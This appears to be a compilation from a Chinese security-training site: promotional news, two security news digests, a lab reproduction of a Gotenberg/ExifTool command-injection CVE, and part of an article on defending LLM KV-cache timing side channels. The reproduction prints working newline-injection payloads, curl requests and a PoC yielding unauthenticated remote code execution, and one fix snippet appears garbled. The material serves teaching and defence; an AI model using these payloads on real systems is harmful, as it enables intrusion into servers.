包揽冠亚军！蚁景网安强势领跑网易SRC 8月贡献榜
近日，网易安全中心公布 2026年8月网易SRC月度贡献榜，国内网络安全教育品牌蚁景网安再创亮眼战绩。蚁景网安团队在榜单前六名中独占四席，其中蚁景网安学员陈同学（昵称：Mstsc To CHEN）、蚁景网安核心导师一叶老师（昵称：quarry）分别以147积分和146积分联袂包揽冠亚军，另有两名蚁景网安学员分别跻身榜单第四、第六位。
网易安全中心2026年8月SRC排行榜
作为国内极具行业公信力的企业级安全响应平台，网易SRC汇聚了全国顶尖白帽安全专家与专业攻防团队，月度贡献榜以漏洞提交的数量、质量与危害等级为核心评判标准，是行业内公认的实战技术能力“试金石”，头部排名竞争常年保持高强度。此次蚁景网安一举包揽近半数头部席位，且冠亚军均出自团队，不仅直观展现了蚁景网安在漏洞挖掘、Web安全攻防等领域的一线技术水准，更在全行业层面印证了其人才培养体系的硬核含金量。
亮眼成绩的背后，是蚁景网安“名师引领 + 实战落地”教学模式的深厚积淀。蚁景网安团队带队的一叶老师长期深耕各大厂商SRC漏洞挖掘领域，实战履历丰富。在教学过程中，一叶老师坚持将真实攻防场景融入日常教学，摒弃纯理论灌输模式，带领学员同步参与主流SRC平台的漏洞挖掘实战，在“以战代练”中帮助学员搭建系统化的攻防思维，掌握可直接落地的漏洞挖掘技巧。此次登顶榜首的陈同学，正是在这套培养体系下完成了从技术入门到独立挖掘高质量漏洞的快速成长，最终在全国性的技术竞技平台中脱颖而出。
除了顶尖的讲师团队，蚁景网安的核心竞争力更在于其成熟的全链路实战化教学体系。针对网安行业“重实操、技术迭代快”的特点，蚁景网安打造了从基础理论、靶场深度实训到SRC实战、项目复盘的完整培养路径，课程内容持续跟进前沿攻防技术与厂商真实业务场景，让学员的学习过程与行业需求无缝对接。此次多名学员同时登上网易SRC头部榜单，并非偶然，而是蚁景网安实战化教学成果的常态化输出，也是其教学硬实力的直接证明。
近年来，我国网络安全人才缺口持续扩大，行业对实战型人才的需求日益迫切。作为网络安全实战技术教育领域的代表性机构，蚁景网安始终以 “培养真正能打的网安人才” 为使命，凭借过硬的技术底蕴与科学的培养模式，持续向互联网企业、安全厂商、政企单位输送高质量安全人才。
未来，蚁景网安将继续深耕技术研发与教学创新，不断优化人才培养体系，带领更多学员参与行业顶尖安全实战项目，助力更多网安学习者实现职业进阶，为我国网络安全生态建设持续贡献力量。
声明：本文展示的仅为部分学员的个人竞赛成果，培训效果因人而异，不代表全体学员均可取得同等成绩，内容仅供参考。
蚁景科技亮相2026网络安全技术创新与人才教育大会并荣获多项殊荣
近日，2026网络安全技术创新与人才教育大会圆满落幕。本次大会由中国网络空间新兴技术安全创新论坛(新安盟)、中国网络空间安全人才教育论坛(网教盟)、中国教育网络靶场论坛（教育靶场联盟）、国务院学位办网络空间安全学科评议组联合广州大学方班共同组织举办，全程得到湖南省相关政府部门、国家网络安全产业园区（长沙）及国家网络安全教育技术产业融合发展试验区（长沙）的鼎力支持。
本次大会，聚焦网络空间安全领域面临的新兴技术安全挑战和人才缺乏现状，交流网络空间安全人才培养模式与学科演进趋势，分享产业发展与技术创新，是网络空间安全领域“政、产、学、研、用”融合交流的年度顶级盛会。
大会隆重举行荣誉颁奖与导师聘任仪式，凭借在网络安全人才培养领域的深厚积淀、成熟的育人体系以及校企协同育人的突出成果，湖南蚁景科技有限公司成功获评“网教盟网络安全人才联合认证优秀合作单位”。这一荣誉是行业权威平台对蚁景科技长期深耕网安人才教育、助力行业人才生态建设的高度认可与肯定。
与此同时，大会聘任蚁景科技Mingy、百里、一叶、Lee2dog、云霄五位资深技术专家为“方班演武堂”企业导师。
优秀合作单位奖牌 & 企业导师聘书
此次荣获多项行业殊荣，是蚁景科技深耕网安人才培育赛道的又一重要里程碑。
立足新荣誉、肩负新使命，未来蚁景科技将以本次大会表彰与导师聘任为重要契机，持续深耕网络安全人才培育领域，充分发挥企业技术优势、实战资源优势和产业整合优势，积极响应行业“强化校企协同育人、深耕实战化育才”的发展号召。为网络安全技术创新以及关键领域自主安全建设筑牢人才根基、注入全新动力。
网络安全日报 2026年10月16日
1、Google警告BeyondTrust远程支持设备漏洞或遭大规模利用
https://www.reuters.com/technology/google-warns-suspected-china-linked-hackers-could-exploit-beyondtrust-flaw-2026-10-15 Google威胁情报团队与Mandiant于2026年10月15日警告，BeyondTrust远程支持设备存在可能遭到大规模利用的安全漏洞。攻击者成功利用后，可以获取凭据、任意上传文件并控制目标主机。Google称，一个被其追踪为Armory Castle的疑似中国关联黑客组织早在2026年8月就曾利用该漏洞发起攻击。随着漏洞细节公开，其他攻击者也可能跟
2、Nextcloud内置Collabora组件严重RCE漏洞遭利用
https://www.bleepingcomputer.com/news/security/hackers-exploit-collabora-rce-flaw-to-backdoor-nextcloud-servers 安全研究人员披露，Nextcloud的内置Collabora Online CODE Server应用存在严重远程命令执行漏洞CVE-2026-110447。漏洞影响版本26.4.303之前的richdocumentscode组件，攻击者可向相关代理接口发送恶意请求，触发操作系统命令注入。该漏洞无需身份认证或用户交互，但利用条件是内置CODE Server处于停止状态。自
3、D-Link与Ubiquiti设备遭劫持，攻击者在34个国家部署代理牟利
https://www.bleepingcomputer.com/news/security/hackers-hijack-d-link-ubiquiti-devices-to-resell-your-stolen-bandwidth GreyNoise披露了一起针对网络存储设备、网络录像设备等互联网暴露设备的代理劫持行动，至少143台设备受到影响，受害设备分布于34个国家。攻击者利用D-Link ShareCenter中的CVE-2024-3272、CVE-2024-3273，以及Ubiquiti UniFi Video NVR中的CVE-2021-44228等已知漏洞入侵设备，并未经设备
4、Arch Linux AUR出现冒名yay和paru的恶意软件包
https://www.bleepingcomputer.com/news/security/fake-arch-linux-packages-push-malware-with-root-privileges 2026年10月15日，BleepingComputer披露，攻击者向Arch User Repository（AUR）上传伪装成热门软件包管理辅助工具yay和paru的恶意软件包。攻击者使用近似名称实施仿冒，并混入看似正常的上游代码，通过恶意安装脚本下载并执行远程Shell脚本，最终以root权限运行恶意代码。相关活动于10月13日被发现，恶意包发布账户为marchos1as。由于
5、curl修复HTTP/2上传处理漏洞，恶意服务器可破坏客户端内存
https://thehackernews.com/2026/10/curl-patches-http2-upload-flaw-after.html curl项目于2026年10月14日修复了漏洞CVE-2026-92392，该漏洞属于释放后使用（Use-After-Free）缺陷，影响curl及libcurl 8.12.0至8.22.0版本。攻击者可以通过控制恶意服务器，在客户端通过HTTP/2上传文件时触发异常的传输和连接处理流程，导致客户端使用已释放的内存。研究人员构造的概念验证程序展示了将该缺陷进一步转化为客户端代码执行的可能性，不过成功利用需要精确掌握目标软件版本、内存布局及传输
6、PAN-OS零日远程代码执行漏洞，防火墙管理接口已遭攻击
https://www.bleepingcomputer.com/news/security/palo-alto-networks-warns-of-pan-os-rce-flaw-exploited-in-attacks Palo Alto Networks于2026年10月14日披露，PAN-OS存在高危远程代码执行漏洞CVE-2026-0322，CVSS评分为8.6，且已观察到针对防火墙管理接口的有限攻击活动。漏洞影响PA-Series、VM-Series防火墙，以及Panorama虚拟设备和M-Series设备。与可被完全未认证攻击者直接利用的漏洞不同，此问题要求攻击者已经具备有效凭
7、英国法律援助署数据泄露范围扩大，被窃取的记录可追溯至1978年
https://www.bleepingcomputer.com/news/security/uk-legal-aid-agency-hackers-stole-records-dating-back-to-1978 英国司法部下属法律援助署（Legal Aid Agency，LAA）于2026年10月15日披露，对既有数据泄露事件进行进一步取证后发现，被攻击者窃取的数据记录最早可追溯至1978年。此次入侵发生于2025年4月，机构最初在同年5月披露事件，随后确认泄露范围涉及大量法律援助申请人、受助人及法律服务提供方的信息。被盗数据可能包含联系方式、出生日期、身份识别号码、犯罪记录、就业信息
8、XWorm新增监控插件可劫持已认证浏览器会话
https://threatlabs.netskope.com/blog/2026/09/xworm-reborn 安全研究人员披露，XWorm远程访问木马持续增加监控能力，2026年第三季度共记录1236起相关事件，涉及100多家机构，活动量较2025年同期增长4倍。研究人员发现V6.4、V6.5、V7.2和V7.4四个版本同时活跃，支持插件数量由2025年7月的35个增至46个。新增Maps插件可在不弹出用户提示的情况下获取设备位置，Microphone插件可实时传输麦克风音频，HBrowser可直接控制受害者当前已认证的浏览器会话并传递键盘、鼠标及剪贴板操作，同时持续回传屏幕画面；相关
9、LG智能电视三漏洞链可获取目标Root权限
https://ssd-disclosure.com/lg-webos-sync-demo-preauth-rce/ 安全研究人员披露，LG webOS存在由三项缺陷组成的预认证攻击链，同一局域网内的攻击者无需PIN即可取得部分智能电视的Root权限。攻击链首先重放内置sync-demo应用的LG签名Manifest，通过STB_INTERNAL_CONNECTION路径获取高权限client-key；随后利用cmp-client的interactiveUrl加载攻击者控制页面，并通过PalmServiceBridge访问内部Luna服务；最终利用pmlogd日志服务对targetDir和t
10、SmartScreen VBS隔离区漏洞可执行恶意代码
https://blog.doyensec.com/2026/10/13/Sfape.html 安全研究人员披露，Windows 11中用于Microsoft Defender SmartScreen增强型钓鱼防护的SFAPE.dll VBS enclave存在CVE-2026-83498。研究人员通过重复调用Initialize触发固定4字节写入，破坏隔离区范围校验，再结合ClipboardInput中的时序缺陷获得VTL1内存读写能力，随后改写有效调用目标表并利用NtContinue控制寄存器，在Isolated User Mode内执行受控代码。相关研究在Windows 11 25H2
以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。
网络安全日报 2026年10月15日
1、Cisco 安全邮件网关零日漏洞遭利用，可获取root权限
https://www.bleepingcomputer.com/news/security/cisco-patches-actively-exploited-secure-email-gateway-zero-day Cisco修复了Secure Email Gateway中的零日漏洞CVE-2026-76519。攻击者可向受影响设备发送带有恶意附件的邮件，在无需认证的情况下写入任意文件并以root权限执行命令。漏洞影响启用了特定文件信誉服务、且内容扫描工具版本低于25.3.0.5525的设备。Cisco已发布修复，并建议管理员检查设备及网络日志。
2、Palo Alto修复PAN-OS零日漏洞，可在防火墙上以root执行代码
https://www.bleepingcomputer.com/news/security/palo-alto-networks-warns-of-pan-os-rce-flaw-exploited-in-attacks Palo Alto Networks披露，PAN-OS漏洞CVE-2026-0322已在针对防火墙的攻击中遭到有限利用。攻击者需要具备有效凭据，并能访问设备管理界面，成功后可在受影响设备上以root权限执行代码。漏洞影响部分PA-Series、VM-Series防火墙及Panorama设备。官方已发布修复版本，并建议将管理界面限制为可信内部地址访问。
3、Nextcloud内置Collabora组件漏洞遭利用
https://thehackernews.com/2026/10/hackers-backdoor-nextcloud-servers.html Nextcloud可选应用“Collabora Online - Built-in CODE Server”存在漏洞CVE-2026-110447。攻击者已利用该漏洞向部分Nextcloud服务器植入Web Shell；在本地文档服务器未运行时，未经认证的请求可能触发命令执行。Collabora已在26.4.303版本修复。仅停用应用不足以消除风险，管理员应升级组件或将其移除，并检查服务器是否存在异常PHP文件及相关访问记录。
4、Ghostscript高危漏洞可借恶意PDF攻击服务器
https://www.bleepingcomputer.com/news/security/ghostscript-flaw-lets-hackers-hijack-servers-via-pdf-uploads Ghostscript被披露存在堆缓冲区溢出漏洞CVE-2026-39919。特制PDF文件中的JPEG 2000图像可能触发内存破坏；若服务器自动处理攻击者上传的PDF，特定环境下可能导致远程代码执行。漏洞影响Ghostscript 9.21至10.07.1版本，修复版本为10.08.0。研究人员称尚未观察到该漏洞在野利用。
5、微软与多方联合打击钓鱼犯罪网络，相关平台发送超10亿条恶意信息
https://www.bleepingcomputer.com/news/security/global-takedown-hits-network-behind-1-billion-phishing-messages 微软、日本警方及多家合作机构联合打击了一个钓鱼犯罪生态网络。调查涉及YAM Store以及CoGUI、Iron Man等钓鱼工具和服务；相关恶意信息累计超过10亿条，波及150个国家和地区的7.5万多个组织。微软称，今年以来，针对其客户的相关邮件和短信超过7.5亿条。行动重点包括识别并查封犯罪平台及其基础设施。
6、美国突袭“笔记本农场”，两人被捕并查获近187台设备
https://www.bleepingcomputer.com/news/security/fbi-raids-dprk-it-worker-laptop-farms-in-texas-us-nationals-arrested 美国司法部公布针对朝鲜远程IT工作者欺诈网络的执法行动：两名嫌疑人被捕，另有14人受到起诉，执法人员查获近187台笔记本电脑及相关设备。所谓“笔记本农场”会托管美国企业发放的电脑，让身处境外的人员远程操作，伪装成美国本地员工求职或工作。此类人员还可能借助雇主网络获取数据或资产。
7、研究人员称疑似哈萨克斯坦黑客组织曾攻击俄罗斯炼油厂及政府
https://www.reuters.com/legal/litigation/kazakhstan-linked-hackers-targeted-russian-refinery-spied-city-government-2026-10-14 Cisco和Recorded Future研究人员披露，一个被称为Silent Lynx的组织疑似与哈萨克斯坦有关。研究人员称，该组织曾以鱼叉式钓鱼邮件为手段，针对俄罗斯炼油厂和下诺夫哥罗德市政府网络开展攻击，并入侵中亚地区政府机构。相关归因基于恶意软件测试时间、活动时段和目标选择等线索，目前被点名的政府部门均未公开回应
8、美国能源企业CenterPoint数据泄露影响逾106万德州居民
https://www.houstonchronicle.com/news/houston-texas/article/centerpoint-data-breach-22476332.php 德克萨斯州总检察长办公室披露，能源企业CenterPoint的数据泄露影响约106.2万名德州居民，涉及姓名、地址、社会安全号码及驾照信息。CenterPoint此前曾表示，有未授权第三方通过其一个面向外部的系统访问客户信息，但当时未公开受影响人数和数据类型。公司称事件调查仍在进行，供电和供气服务未受影响。
9、Anthropic警告AI模型或可自我复制，可能借联网设备形成僵尸网络
https://www.reuters.com/business/ai-models-may-soon-self-replicate-without-access-data-centers-anthropic-warns-2026-10-13 Anthropic称，中等规模的AI模型已能完成自我复制所需的部分任务；随着能力提升，模型可能利用低成本联网设备扩散，并组合设备算力形成难以集中关闭的僵尸网络。该设想目前仍属风险预警，专家对实现难度和时间表存在不同看法；Anthropic称相关模型尚未可靠完成整个自我复制流程。
10、英国制裁加密支付平台Cryptomus，指其为勒索活动提供资金通道
https://krebsonsecurity.com/2026/10/u-k-sanctions-cryptomus-for-ru-money-laundering 英国对加密支付平台Cryptomus实施制裁，称其处理了有利于俄罗斯政府及金融机构的付款。研究人员指出，该平台曾为勒索软件、暗网市场、诈骗及其他网络犯罪服务处理资金。制裁措施包括冻结其在英国银行的资产，并禁止英国企业与其开展业务。
以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。
CVE-2026-40281漏洞复现记录
漏洞概览
Gotenberg 是一个基于 Docker 的无状态 API 服务，广泛用于将 Office 文档、HTML、Markdown 等格式转换为 PDF。它的 PDF 元数据读写功能通过命令行工具 https://exiftool.org/ 实现，而这个接口中的一个"值未过滤换行符"的疏漏，让攻击者可以把任意参数注入到 ExifTool 的命令行中，最终借助 ExifTool 的 Perl 表达式特性实现 RCE。
值得注意的是，这并非该接口的第一个漏洞：早前的 CVE-2026-42589 是元数据键名（key）注入，8.30.1 版本为此加入了危险 tag 名过滤；而本漏洞（CVE-2026-40281）则是元数据值（value）中的换行符注入，恰好绕过了上一轮针对键名的修复。
环境搭建
使用 vulhub 环境（Gotenberg 8.30.1）：
git clone 后进入 gotenberg/CVE-2026-40281 目录
docker compose up -d
服务启动后访问 http://127.0.0.1:3000/health，返回 "status":"up" 即就绪：
{"status":"up","details":{"chromium":{"status":"up","timestamp":"2026-10-08T12:55:16.236911374Z"},"libreoffice":{"status":"up","timestamp":"2026-10-08T12:55:16.236869832Z"}}}
容器内的关键组件版本：
Gotenberg 8.30.1（Go 实现）
go-exiftool v1.10.0（Gotenberg 调用 ExifTool 所用的 Go 封装库）
ExifTool 13.25（Perl 5.40.1）
漏洞原理分析
1. 入口：元数据写入接口
POST /forms/pdfengines/metadata/write 接收一个 PDF 文件和一个 metadata 表单字段（JSON 对象），把元数据写入 PDF 后返回处理过的文件。
路由定义在 pkg/modules/pdfengines/routes.go:1022：
// writeMetadataRoute returns an [api.Route] which can write metadata into PDFs.
func writeMetadataRoute(engine gotenberg.PdfEngine) api.Route {
return api.Route{
Method: http.MethodPost,
Path: "/forms/pdfengines/metadata/write",
IsMultipart: true,
Handler: func(c echo.Context) error {
ctx := c.Get("context").(*api.Context)
form := ctx.FormData()
metadata := FormDataPdfMetadata(form, true) // ① 解析 metadata JSON
var inputPaths []string
err := form.
MandatoryPaths([]string{".pdf"}, &inputPaths).
Validate()
...
err = WriteMetadataStub(ctx, engine, metadata, inputPaths) // ② 写入元数据
...
},
}
}
FormDataPdfMetadata（routes.go:107）只是把 JSON 反序列化成 map[string]any，对键和值的内容没有任何校验：
func FormDataPdfMetadata(form *api.FormData, mandatory bool) map[string]any {
var metadata map[string]any
metadataFunc := func(value string) error {
if len(value) > 0 {
err := json.Unmarshal([]byte(value), &metadata)
...
}
return nil
}
...
}
2. Gotenberg 侧：只防了"键名"，没防"值"
WriteMetadataStub 最终调用 ExifTool 引擎的 WriteMetadata，位于 pkg/modules/exiftool/exiftool.go:205。8.30.1 版本的实现里可以看到上一轮修复留下的防御——一个针对键名的黑名单过滤：
// Filter user-supplied metadata to prevent ExifTool pseudo-tags from
// triggering dangerous side effects like file renames, moves, or link
// creation. Comparison is case-insensitive because ExifTool processes
// tag names case-insensitively.
// See https://exiftool.org/TagNames/Extra.html.
dangerousTags := []string{
"FileName", // Writing this triggers a file rename in ExifTool
"Directory", // Writing this triggers a file move in ExifTool
"HardLink", // Writing this creates a hard link in ExifTool
"SymLink", // Writing this creates a symbolic link in ExifTool
}
for key := range metadata {
for _, tag := range dangerousTags {
if strings.EqualFold(key, tag) {
delete(metadata, key)
}
}
}
for key, value := range metadata {
switch val := value.(type) {
case string:
fileMetadata[0].SetString(key, val) // ← 值原样传入，未过滤换行符
...
这段代码防住了 {"FileName":"..."} 这类直接把伪标签（pseudo-tag）当键名写入的攻击（即 CVE-2026-42589 的利用方式），但 SetString(key, val) 中的值 val 被原样传递——包括换行符 \n。这就是本漏洞的成因。
3. 底层：go-exiftool 的"按行传参"协议
Gotenberg 通过 https://github.com/barasher/go-exiftool 库与 ExifTool 交互。这个库没有为每次写操作单独起进程，而是维持一个常驻的 ExifTool 进程，使用 ExifTool 的 argfiles 模式（exiftool.go:20）：
var initArgs = []string{"-stay_open", "True", "-@", "-"}
-@ - 的含义是"从 stdin 读取参数文件"，每一行就是一个独立的命令行参数，-stay_open True 让进程读完一批参数后继续等待下一批。写入时（exiftool.go:214 的 WriteMetadata）：
for k, v := range md.Fields {
switch v.(type) {
case nil:
fmt.Fprintln(e.stdin, "-"+k+"=")
default:
strTab, err := md.GetStrings(k)
...
for _, str := range strTab {
// TODO: support writing an empty string via '^='
fmt.Fprintln(e.stdin, "-"+k+"="+str) // ← 一个 "-Tag=值" 占一行
}
}
}
fmt.Fprintln(e.stdin, md.File) // 目标文件
fmt.Fprintln(e.stdin, executeArg) // "-execute"：执行本批参数
fmt.Fprintln(e.stdin, "-"+k+"="+str) 把 -Title=值 作为一个整体写入一行。如果 str 中含有 \n，这一个"逻辑参数"就会被拆成两行——也就是两个独立的 ExifTool 参数。
4. 注入链完整梳理
HTTP 请求 metadata={"Title":"test\n-FileName=/tmp/inject_proof"}
│
▼ json.Unmarshal（\n 转义还原为真实换行符）
map[string]any{"Title": "test\n-FileName=/tmp/inject_proof"}
│
▼ 键名黑名单检查：Title 不在黑名单 → 通过
│
▼ SetString("Title", "test\n-FileName=/tmp/inject_proof")
│
▼ fmt.Fprintln(stdin, "-Title=test\n-FileName=/tmp/inject_proof")
stdin 实际内容（两行 = 两个参数）：
-Title=test
-FileName=/tmp/inject_proof ← 注入的参数
│
▼ ExifTool argfiles 协议逐行解释
exiftool ... -overwrite_original -Title=test -FileName=/tmp/inject_proof <PDF路径> -execute
ExifTool 收到 -FileName=/tmp/inject_proof 后，会把正在处理的 PDF 重命名/移动到该路径——这是 ExifTool 的官方特性（FileName 是可写的"文件系统伪标签"），却被攻击者用来操纵服务器文件。
漏洞复现
复现一：参数注入（-FileName 文件操纵）
先离线生成一个最小合法 PDF（poc.py 自带构建逻辑）：
python poc.py -o test.pdf
然后在 Title 值中注入换行符和 -FileName 参数：
curl -s -w '\nHTTP %{http_code}\n' \
-F 'files=@test.pdf;type=application/pdf' \
--form-string 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
http://127.0.0.1:3000/forms/pdfengines/metadata/write
注意 curl 的 --form-string 会把字面量 \n（反斜杠 + n）原样发送，服务端 json.Unmarshal 将其还原为真实换行符。
漏洞版本的返回：
Not Found
HTTP 404
返回 404 不是因为请求被拒绝，而是因为注入的 -FileName 参数已经把处理完的 PDF 移走了，Gotenberg 找不到输出文件。进入容器验证：
$ docker compose exec web ls -l /tmp/inject_proof
-rw-r--r-- 1 gotenberg gotenberg 3582 Oct 8 13:02 /tmp/inject_proof
文件确实存在，参数注入成功：
复现二：从参数注入到 RCE
单纯的参数注入已经能操纵文件（改名/移动/软硬链接），但要拿命令执行，需要请出 ExifTool 更危险的特性——Perl 表达式求值。
ExifTool 的 -TAG<值 语法表示"从表达式取值写入 TAG"（区别于 -TAG=值 的直接赋值）。其中支持"高级格式化"（advanced formatting）语法 ${TAG;表达式}：取 TAG 的当前值赋给 $_，执行分号后的任意 Perl 表达式，结果作为新值写回。qx() 是 Perl 的命令执行运算符（等价于反引号）。
于是构造 payload：
{"Title":"x\n-Title<${PDFVersion;$_=qx(id)}"}
注入后 ExifTool 实际收到的参数：
-Title=x ← 正常参数，占位
-Title<${PDFVersion;$_=qx(id)} ← 注入参数
第二个参数的执行逻辑：读取 PDFVersion 标签（任何合法 PDF 都有此标签，保证表达式被触发）→ 在 Perl 中执行 qx(id) → 命令输出覆盖 $_ → 写入 Title。命令的输出就这样被写进了 PDF 元数据。
而写入接口会在 HTTP 响应中返回处理后的 PDF，再把它提交给 /forms/pdfengines/metadata/read 读出 Title，即可拿到命令回显。poc.py 把这两步串了起来：
$ python poc.py -u http://127.0.0.1:3000 -c id
[*] Target: http://127.0.0.1:3000
[*] Command to execute on the target: id
[+] Metadata written (HTTP 200), reading back the Title of the returned PDF
[+] Command output:
uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)
$ python poc.py -u http://127.0.0.1:3000 -c "whoami; hostname; uname -r"
[*] Target: http://127.0.0.1:3000
[*] Command to execute on the target: whoami; hostname; uname -r
[+] Metadata written (HTTP 200), reading back the Title of the returned PDF
[+] Command output:
gotenberg 6dc17a6e1c7c 6.18.40.1-microsoft-standard-WSL2
命令以容器内的 gotenberg 用户（uid=1001，注意其附加组包含 root）身份执行，输出从返回 PDF 的 Title 元数据中完整回读——无需任何认证的远程代码执行：
除 -TAG<... 重定向语法外，ExifTool 的 -if 参数 同样会执行任意 Perl 表达式（本用于决定是否处理文件），表达式内使用 qx() 或 system() 也能达到同样效果。
修复分析（8.31.0）
8.31.0 的修复在 pkg/modules/exiftool/exiftool.go 中加入了三道防线，直击注入的根源——控制字符：
// safeKeyPattern matches legitimate ExifTool tag names: alphanumeric,
// hyphens, underscores, colons, and periods. Rejects control characters
// (especially \n) that would inject stdin arguments via go-exiftool's
// line-based protocol.
var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+
{{title}}
)
// validateMetadataValue rejects metadata values containing characters that
// could inject ExifTool stdin arguments. go-exiftool writes each key/value
// pair as a single line via fmt.Fprintln(stdin, "-"+k+"="+str), so a
// newline in the value splits into a second stdin line that ExifTool
// interprets as an additional argument. ... The same applies to carriage
// returns and NUL.
func validateMetadataValue(key, value string) error {
if strings.ContainsAny(value, "\n\r\x00") {
return fmt.Errorf("... invalid metadata value for key %q (contains control character): %w",
key, gotenberg.ErrPdfEngineMetadataValueNotSupported)
}
return nil
}
写入路径上的每一处赋值都会调用校验：
for key, value := range metadata {
switch val := value.(type) {
case string:
if err = validateMetadataValue(key, val); err != nil { // ← 新增
...
return err
}
fileMetadata[0].SetString(key, val)
case []string:
for _, s := range val {
if err = validateMetadataValue(key, s); err != nil { // ← 新增
...
键名则从"黑名单"升级为白名单（safeKeyPattern），只有字母、数字、-_.: 可以出现在键名中；同时黑名单补充了 FilePermissions（防 chmod），并在比较前剥离 ExifTool 的组名前缀（防止 System:FileName 绕过等价名比较）。
校验失败时错误包装了 gotenberg.ErrPdfEngineMetadataValueNotSupported，pkg/modules/api/middlewares.go:65 会把它映射为 HTTP 400，所以修复版本对同样的攻击载荷返回 400 Bad Request 而不是 404。
在 8.31.0 上重放同样的 payload，请求会在 validateMetadataValue 处被拒绝并返回 HTTP 400（错误信息提示至少一个 PDF 引擎无法处理该元数据），注入的换行符再也无法到达 go-exiftool 的 stdin。
从攻击到防御：KVGov 如何阻断 KV Cache 时间侧信道
0.前言
前面已经写过两篇跟 Cache 有关的 AI 安全文章，第一篇主要研究的是 LLM 中的 KV Cache 《从原理到攻击：KV Cache 安全问题与跨会话泄漏实验》
这里简单回顾一下，详细的可以看我发的链接https://www.yijinglab.com/specialized/20260908111512
Cache 本来是为了性能，所以之前已经计算过的东西就不要重新计算，然后当不同请求开始复用状态，Cache Hit或者Miss就会出现时间差，攻击者可以观察时间
差来达到攻击的目的
第二篇研究的是 Diffusion Model 中的 Approximate Cache《从原理到攻击：Approximate Cache 安全问题与文生图缓存攻击实验》https://mp.weixin.qq.com/s/rSSBu6Z_dPrKDWvHSuVcEQ
它在传统 Cache 可能下又往前走了一步，传统的cache可能就要求 A==B 才能复用，而Approximate Cache 则可能只需要，Similarity(A, B) > threshold
就可以开始复用中间状态；于是 Cache 的安全问题从，相同请求之间的状态共享，进一步扩展到了语义相似请求之间的状态共享，然后就出现了所谓的
Covert Channel，Prompt Stealing，cache Poisoning这些攻击，说到底还是共享状态安全问题的三个不同表现
写完这两篇之后，我就有个问题，都是针对KV cache进行攻击，有没有对其进行修复或者防御的？
比如说直接不要共享 cache，但是如果真的这么干，就相当于为了安全，直接把性能优化关掉，这显然不是一个好办法
然后我就看到一篇 2026 年的论文，讲的就是怎么如何修复cache安全问题
1.原理
cache安全问题这里就不再细说，前面两篇公众号文章已经写得很清楚了，可以跳到前面两篇
如果 cache 只在一个用户自己的会话里复用，安全问题其实没那么严重，毕竟自己观察自己，算什么租户隐私泄漏嘛
但是真正麻烦的是在多租户这里，如果说多个User都共用同一个 LLM Serving，那么为了最大化 Cache Hit Rate，服务器可能维护一个共享的 Prefix Cache
比如说，user A 创建 cache，然后user B 可以命中，于是user B 观察到延迟变化，这样 B 就获得了一个Oracle
这个oracle 可以简单理解为，攻击者可以不断向系统提问，而系统虽然不会直接回答秘密，却会通过某个现象间接回答；oracle在本文后面会一直出现，记住这个
概念；那既然说到了oracle，就不得不提一个问题，攻击者利用cache Hit，去少执行了一部分 Prefill，然后TTFT 变短，从而可以观察到Timing；那么是不是直接
把timing给它隐匿掉就可以了？比如说给响应时间增加一点噪声，这样攻击者就不好判断通过timing进行一个判断了
这么想，好像这个思路是可以的；但是加了相应时间其实也会影响LLM的正常相应速度的，所以这个办法只是治标不治本
最关键的还是要解决为什么攻击者自己发送的一个请求，能够命中另外一个用户创建出来的 Cache？
我们来拆解一下，先假设服务器维护一个非常简单的 Prefix Cache，把复杂实现全部去掉，可以简单理解为，cache[key] = kv_state
当新的请求到来之后，会去计算cache key，然后查cache，如果说找到了hit，就直接复用之前已经计算过的 KV State
问题是，这个cache Key到底怎么计算？在 Prefix cache 里面，Key 的主要依据是，Token Content
例如为了方便理解，可以粗略写成，key = Hash(tokens)，我们假设block_size = 16
那么第一个block，token0~token15，h0 = H(tokens[0:16])
然后下一个 Block 又和前一个 Hash 连起来，h1 = H(h0 || tokens[16:32]) ，依次往下类推
如果两个请求前面的 Token 完全一样，那么前面生成出来的 Hash 也完全一样。
于是 Request B 可以直接复用 Request A 已经算好的 KV，这就是性能优化，同时也是安全问题
说得直白一点，cache Key 根据 Token 序列计算，却没有绑定用户主体，因此不同用户可以解析到彼此创建的 cache Entry
例子这里就不举了，可以去看我在前言贴出来的两篇，里面都有
整个cache可以看成一个类似字典的东西，比如说这样
cache = {
hash1: KV_State_1,
hash2: KV_State_2,
hash3: KV_State_3
}
当所有的user去访问同一个cache，大概就会类似下面这样
由图我们就可以很直观看到，只要key A == key B，UserB就有可能命中了UserA的东西；
那么由图也可以很好看出解决办法，那就是把Global KV cache根据用户拆分对应用户的cache，类似下图
此时即使，Prompt_A == Prompt_B，A 和 B 也不会命中同一个 cache；这个思想，就是 KVGov这个防御KV cache攻击最核心的东西
这里要注意一点，虽然我一直在说user A B C等等之类的，但其实user 不是完全就是指用户，它更具体地说应该是系统中应该拥有独立安全边界的身份主体
比如说租户啊，组织啊，还有API，或者是安全域等等之类的
比如说一个企业SaaS，Company A，Company B和Company C，那么完全可以Company作为一个User，或者更准确的用词应该是Principal
那么同一个公司的请求，比如说Compan A user 1和Company A user 2，可以根据策略共享 cache
但是捏Company A和Company B之间必须隔离
所以cache 的共享范围应该和系统的安全边界一致
而KVGov就是把你是谁加入 Cache Key，它的核心机制就是HMAC-Keyed Namespace Isolation
我们刚刚提到普通情况的CacheKey = Hash(Prompt Tokens)是这样表示的，而KVGov则是
CacheKey=
Hash(
Principal-Specific Salt
+
Prompt Tokens
)
这个 Principal-Specific Salt 怎么来？其实是
σp = HMAC_K(secret, principal_id)
其中principal_id代表当前安全主体，而K是服务器端持有的 Secret
然后第一个 Block 的 Hash 就由之前的h0 = H(tokens[0:16]) 变成下面这样
h0 = H(
σp || tokens[0:B]
)
后续 Block 继续链式计算，这样听起来感觉很抽象，所以我们举个例子来说
受害者A：
salt_A=
HMAC(
server_secret,
"victim_A"
)
攻击者B：
salt_B=
HMAC(
server_secret,
"attacker_B"
)
